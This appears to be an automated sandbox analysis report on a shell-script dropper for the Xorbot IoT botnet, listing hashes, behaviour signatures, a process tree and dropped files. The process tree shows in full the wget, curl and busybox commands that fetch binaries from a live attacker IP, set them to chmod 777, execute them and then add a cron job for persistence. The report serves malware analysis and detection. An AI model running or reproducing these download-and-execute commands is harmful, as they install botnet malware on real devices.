Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/11/2024, 16:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ee91de469e47f5f54ebdfcf7ef65c3c6

  • SHA1

    32d746051ea6c4a4e59a2aac00b2b4b280c6e9eb

  • SHA256

    9a36958a4d26cded1d7d66285a93286e73a535ff7c20da542d734d8cc2f153d0

  • SHA512

    95646d628867c5dd3bb1cda8620ee820a53eb67b39fcbaac0f348f8c0eb6e9663bdd2d521eb83bb2260b9fe33234cc5d37f5a09c0b04cc9db0e35dc4d6dc7b00

  • SSDEEP

    96:rjYkn3/+UpxBJ8TaM/kn3cQH+188cPuYBJ86+NC/BKE:rjYkDBJ8TaMsBJ8JE

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (913) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1478
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1480
        • /usr/bin/wget
          wget http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Writes file to tmp directory
          PID:1494
        • /bin/chmod
          chmod 777 aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • File and Directory Permissions Modification
          PID:1495
        • /tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          ./aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
          • Executes dropped EXE
          PID:1496
        • /bin/rm
          rm aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
          2⤵
            PID:1498
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            2⤵
            • Writes file to tmp directory
            PID:1499
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            2⤵
            • Writes file to tmp directory
            PID:1500
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            2⤵
            • Writes file to tmp directory
            PID:1501
          • /bin/chmod
            chmod 777 WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            2⤵
            • File and Directory Permissions Modification
            PID:1502
          • /tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            ./WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            2⤵
            • Executes dropped EXE
            PID:1503
          • /bin/rm
            rm WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
            2⤵
              PID:1505
            • /usr/bin/wget
              wget http://216.126.231.240/bins/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              2⤵
              • Writes file to tmp directory
              PID:1506
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              2⤵
              • Writes file to tmp directory
              PID:1507
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              2⤵
              • Writes file to tmp directory
              PID:1508
            • /bin/chmod
              chmod 777 tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              2⤵
              • File and Directory Permissions Modification
              PID:1509
            • /tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              ./tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              2⤵
              • Executes dropped EXE
              PID:1510
            • /bin/rm
              rm tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
              2⤵
                PID:1512
              • /usr/bin/wget
                wget http://216.126.231.240/bins/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                2⤵
                • Writes file to tmp directory
                PID:1513
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/chmod
                chmod 777 FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                2⤵
                • File and Directory Permissions Modification
                PID:1516
              • /tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                ./FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                2⤵
                • Executes dropped EXE
                PID:1517
              • /bin/rm
                rm FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
                2⤵
                  PID:1519
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  2⤵
                  • Writes file to tmp directory
                  PID:1520
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  2⤵
                  • Writes file to tmp directory
                  PID:1521
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  2⤵
                  • Writes file to tmp directory
                  PID:1522
                • /bin/chmod
                  chmod 777 SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1523
                • /tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  ./SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  2⤵
                  • Executes dropped EXE
                  PID:1524
                • /bin/rm
                  rm SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
                  2⤵
                    PID:1526
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    2⤵
                    • Writes file to tmp directory
                    PID:1527
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    2⤵
                    • Writes file to tmp directory
                    PID:1528
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    2⤵
                    • Writes file to tmp directory
                    PID:1529
                  • /bin/chmod
                    chmod 777 g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1530
                  • /tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    ./g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    2⤵
                    • Executes dropped EXE
                    PID:1531
                  • /bin/rm
                    rm g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
                    2⤵
                      PID:1533
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      2⤵
                      • Writes file to tmp directory
                      PID:1534
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      2⤵
                      • Writes file to tmp directory
                      PID:1535
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      2⤵
                      • Writes file to tmp directory
                      PID:1536
                    • /bin/chmod
                      chmod 777 yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1537
                    • /tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      ./yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      2⤵
                      • Executes dropped EXE
                      PID:1538
                    • /bin/rm
                      rm yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
                      2⤵
                        PID:1540
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                        2⤵
                        • Writes file to tmp directory
                        PID:1541
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                        2⤵
                        • Writes file to tmp directory
                        PID:1542
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                        2⤵
                        • Writes file to tmp directory
                        PID:1543
                      • /bin/chmod
                        chmod 777 xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1544
                      • /tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                        ./xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:1545
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:1547
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:1548
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:1549
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1550
                            • /bin/rm
                              rm xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
                              2⤵
                                PID:1552
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/gSn46tNCBMNa1iIuFwHfqEFyIjOcfi64Dx
                                2⤵
                                  PID:1555
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/gSn46tNCBMNa1iIuFwHfqEFyIjOcfi64Dx
                                  2⤵
                                    PID:1556

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /var/spool/cron/crontabs/tmp.KHaz0S

                                  Filesize

                                  210B

                                  MD5

                                  9841ffc85e1e1b49bdd1729b0eb6460b

                                  SHA1

                                  a73f357d694d93d9c2e5a19949c4362fdc4972bc

                                  SHA256

                                  19251d267fcb8df661baf23b50374cb4c4449d63ee80f040d674af84dc8df140

                                  SHA512

                                  98d3667c4fa43b66281953bae68adf4d2ecb08ba8d6bb0fd8fb13d064ff47390248cca1ddd39094a417c81e81cab25bae44248ea2d60104fd018c2f871997308